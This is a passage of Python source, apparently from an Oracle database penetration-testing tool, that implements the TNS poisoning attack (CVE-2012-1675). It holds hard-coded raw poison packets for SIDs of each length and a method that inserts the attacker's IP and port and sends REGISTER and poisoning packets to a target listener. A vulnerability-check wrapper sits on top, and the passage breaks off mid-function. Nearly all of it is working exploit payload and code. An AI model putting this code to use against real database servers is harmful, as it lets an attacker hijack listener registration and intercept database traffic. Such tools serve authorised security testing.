)\x00\x01\x00\x00\x00\r\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00p\xab\x8a%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00H\xab\x8a%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\xa7Y\x0b\x00\x00\x00\x00orcl12345XDB\x00\r\x00\x00\x00\x00\x00\x00\x00p\xab\x8a%\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fY\x0b\x00\x00\x00\x00orcl12345XDB\x00\x01\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa8\xd9\xa8%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\xa6Y\x0b\x00\x00\x00\x00orcl12345\x00\n\x00\x00\x00\x00\x00\x00\x00\xa8\xd9\xa8%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orcl12345\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x9c\xfa\x1f\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfM\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa9Y\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\x08\x9c\xfa\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa5Y\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x97Y\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fM\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xa7Y\x0b\x00\x00\x00\x00(\xee\x94\x07\x12\nK\x99\x9bA\x91\x9f'-\x94\xe0\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xc0\x91\x94%\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfM\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x18\xab\x8a%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x97Y\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49206))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\xdc\n\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\xdc\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=iA\x97\xbd\xdbD*\xa7L\x940V\xa3Q\xd4H\xab\x8a%\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00pE\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x05\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\xd0\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\xdc\n\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\r\x00\x00\x00\x00\x00\x00\x00p\xab\x8a%\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fY\x0b\x00\x00\x00\x00orcl12345XDB\x00\x80\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\xa8\xd9\xa8%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orcl12345\x00\x00""" #TESTED with ORCLABCDE on 11.1.0.7 (with sqlplus) PACKET_TNSPOISON_SID_10 = b"""\x05\xb6\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xac$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x18\xea>\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x004\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5 \x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00F\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\xa9=\x0b\x00\x00\x00\x00\x11\xe3\n\xfc|_CX\x90\xa9\xb6\xc76H7\xa6\x0b\x00\x00\x00\x00\x00\x00\x00\xc8E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02F\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00h\xf5 \x0b\x00\x00\x00\x00orcl123456\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x0e\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10S\x83%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8R\x83%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xa7=\x0b\x00\x00\x00\x00orcl123456XDB\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x10S\x83%\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f=\x0b\x00\x00\x00\x00orcl123456XDB\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00h\xd4\xa9%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00@\xd4\xa9%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\xa7=\x0b\x00\x00\x00\x00orcl123456\x00\x0b\x00\x00\x00\x00\x00\x00\x00h\xd4\xa9%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc \x0b\x00\x00\x00\x00orcl123456\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8Y\xf1\x1f\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfF\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xaa=\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xf8Y\xf1\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\xa6=\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x97=\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fF\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\xa8=\x0b\x00\x00\x00\x00\xcdUa\xa1\xe4\x95I\xf7\xb8}hE\xcc\xf6\xd3\xe2\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xc0\x91\x94%\xff\x07\x00\x000\x00\x00\x00\x00\x00\x00\x00\xfcfF\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xb8R\x83%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x97=\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49210))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb \x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99 \x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdf4\xad\xc8\x02"Lx\xb8\xcc\x18\xd4*B\xe1\xe9\xe8R\x83%\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00pE\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x14\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x90\xd4\xa9%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\xfb \x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x10S\x83%\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f=\x0b\x00\x00\x00\x00orcl123456XDB\x00@\xd4\xa9%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00h\xd4\xa9%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc \x0b\x00\x00\x00\x00orcl123456\x00\x00\x00\x00""" #TESTED with ORCLABCDEF on 11.1.0.7 (with sqlplus) PACKET_TNSPOISON_SID_11 = b"""\x05\xba\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xb0$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x98\xe9l\x0c\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x008\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5"\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00?\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa8k\x0c\x00\x00\x00\x00\x8aZ!\x19\x1e\xa5C\xe6\xbb\xb9\xca\xb5\xb9J0y\x0c\x00\x00\x00\x00\x00\x00\x00\xc8E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02?\x0c\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5"\x0b\x00\x00\x00\x00orcl1234567\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x0f\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00X\x8c\xff\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x000\x8c\xff\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\xa7k\x0c\x00\x00\x00\x00orcl1234567XDB\x00\x0f\x00\x00\x00\x00\x00\x00\x00X\x8c\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fk\x0c\x00\x00\x00\x00orcl1234567XDB\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00(\xcf\xaa%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\xa6k\x0c\x00\x00\x00\x00orcl1234567\x00\x0c\x00\x00\x00\x00\x00\x00\x00(\xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc"\x0b\x00\x00\x00\x00orcl1234567\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0R\x84%\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00Pf?\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa9k\x0c\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xc0R\x84%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa5k\x0c\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x97k\x0c\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90f?\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xa7k\x0c\x00\x00\x00\x00\xfa\xa3\xbc\x0b\xde\xc7K\x1c\xb4-\x93\x1b\x13rM\xa2\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xc0\x91\x94%\xff\x07\x00\x000\x00\x00\x00\x00\x00\x00\x00\xfcf?\x0c\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\x00\x8c\xff\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x97k\x0c\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49214))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb"\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd9\x93\x83Dr_L\xf4\x95\x99\x9b\xde\xf0\x0b<\x8d0\x8c\xff\x1f\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00pE\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00P\xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb"\x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x0f\x00\x00\x00\x00\x00\x00\x00X\x8c\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fk\x0c\x00\x00\x00\x00orcl1234567XDB\x00\x00\xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00(\xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc"\x0b\x00\x00\x00\x00orcl1234567\x00""" #TESTED with ORCLABCDEFG on 11.1.0.7 (with sqlplus) PACKET_TNSPOISON_SID_12 = b"""\x05\xc2\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xb8$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xb0\xe9I\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00@\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5*\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00D\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa8H\x0b\x00\x00\x00\x003\x168s\x02jE\xe5\xbe\xd1\xbag\xce\xdc\xc6\x05\r\x00\x00\x00\x00\x00\x00\x00\xc0E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02D\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5*\x0b\x00\x00\x00\x00orcl12345678\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf8\xd3\xf2\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xd3\xf2\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\xa7H\x0b\x00\x00\x00\x00orcl12345678XDB\x00\x10\x00\x00\x00\x00\x00\x00\x00\xf8\xd3\xf2\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fH\x0b\x00\x00\x00\x00orcl12345678XDB\x00\x01\x00\x00\x00\r\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \xcf\xaa%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xf8\xce\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\xa6H\x0b\x00\x00\x00\x00orcl12345678\x00\r\x00\x00\x00\x00\x00\x00\x00 \xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc*\x0b\x00\x00\x00\x00orcl12345678\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0_\xf1\x1f\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfD\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\xa9H\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xb0_\xf1\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\xa5H\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8\x97H\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fD\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8H\x0b\x00\x00\x00\x00@\xfa\xe7:\x1b{B\x95\xb0\xb6\x840e\xb0\xc0\x01\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xb8\x91\x94%\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfD\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xb09\xea\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\x97H\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49218))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb*\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99*\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\xeeK\xd5_#A@\x8fHa\xb3\xd5\x8d\xccQ\xd0\xd3\xf2\x1f\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00hE\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00H\xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb*\x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x10\x00\x00\x00\x00\x00\x00\x00\xf8\xd3\xf2\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fH\x0b\x00\x00\x00\x00orcl12345678XDB\x00\xf8\xce\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00 \xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc*\x0b\x00\x00\x00\x00orcl12345678\x00"""#TESTED with ORCLABCDEFG on 11.1.0.7 (with sqlplus) DEFAULT_LOCAL_IP_PACKET_TNSPOISON = b"192.168.133.1 " DEFAULT_TARGET_PORT_PACKET_TNSPOISON = b"1521" DEFAULT_LOCAL_PORT_PACKET_TNSPOISON = b"9999" DEFAULT_SID_PACKET_TNSPOISON_SID_2 = b"or" DEFAULT_SID_PACKET_TNSPOISON_SID_3 = b"orc" DEFAULT_SID_PACKET_TNSPOISON_SID_4 = b"orcl" DEFAULT_SID_PACKET_TNSPOISON_SID_5 = b"orcl1" DEFAULT_SID_PACKET_TNSPOISON_SID_6 = b"orcl12" DEFAULT_SID_PACKET_TNSPOISON_SID_7 = b"orcl123" DEFAULT_SID_PACKET_TNSPOISON_SID_8 = b"orcl1234" DEFAULT_SID_PACKET_TNSPOISON_SID_9 = b"orcl12345" DEFAULT_SID_PACKET_TNSPOISON_SID_10 = b"orcl123456" DEFAULT_SID_PACKET_TNSPOISON_SID_11 = b"orcl1234567" DEFAULT_SID_PACKET_TNSPOISON_SID_12 = b"orcl12345678" GOOD_STRINGS_IN_TNS_POISON_RESPONSE = [b'XDB',b'xdb'] def __init__(self,args): ''' Constructor ''' logging.debug("Tnspoison object created") Tnscmd.__init__(self,args) def isTNSListenerVulnerableToCVE_2012_1675 (self): ''' Checks the server for TNS Poison vulnerability. It sends to the remote listener a packet with command to register a new TNS Listener and checks for response indicating an error. If there is an error in the response, the target is not vulnerable. Otherwise, the target is vulnerable. Return True if vulneeable to CVE-2012-1675 (http://seclists.org/fulldisclosure/2012/Apr/204) Otherwise returns False return None if error return -1 if SID is not given ''' if self.args['sid'] == None: logging.info("SID is not given. Impossible to check if target is vulnerable to TNS poisoning") return -1 return self.exploitTNSPoisoningAttack(checkOnly=True) def __sendTNSpoisoningPackets__(self, localIp, localListeningPort=DEFAULT_LOCAL_LISTENING_PORT_TNS_POISON): ''' ''' poisonPacket = "" logging.debug("Making the TNS poisong packet...") if len(self.args['sid']) == 2: logging.debug("SID of 2 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_2 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_2, self.args['sid'].encode()) elif len(self.args['sid']) == 3: logging.debug("SID of 3 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_3 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_3, self.args['sid'].encode()) elif len(self.args['sid']) == 4: logging.debug("SID of 4 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_4 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_4, self.args['sid'].encode()) elif len(self.args['sid']) == 5: logging.debug("SID of 5 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_5 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_5, self.args['sid'].encode()) elif len(self.args['sid']) == 6: logging.debug("SID of 6 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_6 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_6, self.args['sid'].encode()) elif len(self.args['sid']) == 7: logging.debug("SID of 7 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_7 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_7, self.args['sid'].encode()) elif len(self.args['sid']) == 8: logging.debug("SID of 8 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_8 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_8, self.args['sid'].encode()) elif len(self.args['sid']) == 9: logging.debug("SID of 9 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_9 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_9, self.args['sid'].encode()) elif len(self.args['sid']) == 10: logging.debug("SID of 10 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_10 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_10, self.args['sid'].encode()) elif len(self.args['sid']) == 11: logging.debug("SID of 11 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_11 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_11, self.args['sid'].encode()) elif len(self.args['sid']) == 12: logging.debug("SID of 12 chars long, sending the good poisoning packet...") poisonPacket = self.PACKET_TNSPOISON_SID_12 poisonPacket = poisonPacket.replace(self.DEFAULT_SID_PACKET_TNSPOISON_SID_12, self.args['sid'].encode()) else: logging.warn("The SID is too short or too long. SID should be >=1 and <=12") return -2 poisonPacket = poisonPacket.replace(self.DEFAULT_LOCAL_IP_PACKET_TNSPOISON, localIp.ljust(15,' ').encode()) poisonPacket = poisonPacket.replace(self.DEFAULT_LOCAL_PORT_PACKET_TNSPOISON, str(localListeningPort).encode()) poisonPacket = poisonPacket.replace(self.DEFAULT_TARGET_PORT_PACKET_TNSPOISON, str(self.args['port']).encode()) while 1: logging.info("Exploiting the TNS poisoning attack...") sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.connect((self.args['server'], int(self.args['port']))) logging.debug("Sending a REGISTER packet from your IP {2} to the TNS listener {0}:{1}...".format(self.args['server'], self.args['port'], localIp)) sk.send(self.PACKET_REGISTER) if self.args['show_sql_requests'] == True: logging.debug("REGISTER packet sent: {0}".format(repr(self.PACKET_REGISTER))) response = sk.recv(8192) if 